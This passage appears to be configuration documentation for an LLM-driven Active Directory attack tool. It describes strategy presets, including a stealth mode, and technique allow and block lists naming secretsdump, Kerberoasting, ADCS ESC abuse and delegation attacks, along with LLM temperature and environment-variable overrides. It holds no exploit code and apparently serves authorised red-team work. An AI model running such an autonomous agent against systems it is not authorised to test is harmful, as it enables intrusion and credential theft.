(deterministic fast path) + +```yaml +operation: + # strategy: fast is the default -- you can omit it entirely +``` + +### Full coverage assessment + +```yaml +operation: + strategy: comprehensive + # continue_after_da is automatically true +``` + +### ADCS-focused assessment + +```yaml +operation: + strategy: fast + exclude_techniques: + - secretsdump + - dc_secretsdump + - mssql_access + - mssql_linked_server + technique_weights: + esc1: 1 + esc4: 1 + esc8: 2 + acl_abuse: 2 +``` + +### Stealth engagement + +```yaml +operation: + strategy: stealth + exclude_techniques: + - password_spray + - smb_signing_disabled +``` + +### Delegation-only path + +```yaml +operation: + include_techniques: + - constrained_delegation + - unconstrained_delegation + - rbcd + - kerberoast + - asrep_roast + technique_weights: + constrained_delegation: 1 + unconstrained_delegation: 1 + rbcd: 2 +``` + +## LLM Temperature + +Controls how creative the LLM is when selecting techniques. Higher values +make the agent more likely to try unusual approaches. + +```yaml +operation: + llm_temperature: 1.2 # more creative (default: provider default, ~1.0) +``` + +This is passed directly to the LLM provider. The strategy weights still +control what the automation modules dispatch -- temperature only affects +the LLM's own reasoning about which tools to call within a task. + +## LLM System Prompt + +The strategy weight table is rendered dynamically into the LLM system prompt. +When weights are configured, the "ATTACK FALLBACK CHAINS" section shows the +active priority ordering instead of the hardcoded default table. This ensures +the LLM's technique selection reasoning aligns with the operator's strategy. + +## Environment Variable Overrides + +For per-operation overrides without changing the YAML config: + +| Variable | Purpose | +|----------|---------| +| `ARES_STRATEGY` | Preset name (fast / comprehensive / stealth) | +| `ARES_EXCLUDE_TECHNIQUES` | Comma-separated technique blocklist | +| `ARES_INCLUDE_TECHNIQUES` | Comma-separated technique allowlist | +| `ARES_CONTINUE_AFTER_DA` | `1` or `true` to keep exploiting after DA | +| `ARES_LLM_TEMPERATURE` | LLM temperature (0.0-2.0) | + +Env vars take highest precedence, overriding both JSON payload and YAML config. + +These can also be passed in the JSON operation payload: + +```json +{ + "operation_id": "op-20260421", + "target_domain": "contoso.local", + "target_ips": ["10.0.0.1"], + "strategy": "comprehensive", + "technique_weights": {"esc1": 1, "secretsdump": 8}, + "exclude_techniques": ["password_spray"], + "continue_after_da": true +} +``` + +## Relationship to vulnerability_priorities + +The YAML config has a legacy `vulnerability_priorities` section that predates +the strategy system. These priorities are still read and merged into the +strategy weights as the lowest-precedence layer: + +```text +Preset defaults + ↑ vulnerability_priorities (legacy YAML section) + ↑ operation.technique_weights (new YAML section) + ↑ JSON payload + ↑ env vars +``` + +For new deployments, use `operation.technique_weights` instead. +`vulnerability_priorities` is kept for backwards compatibility.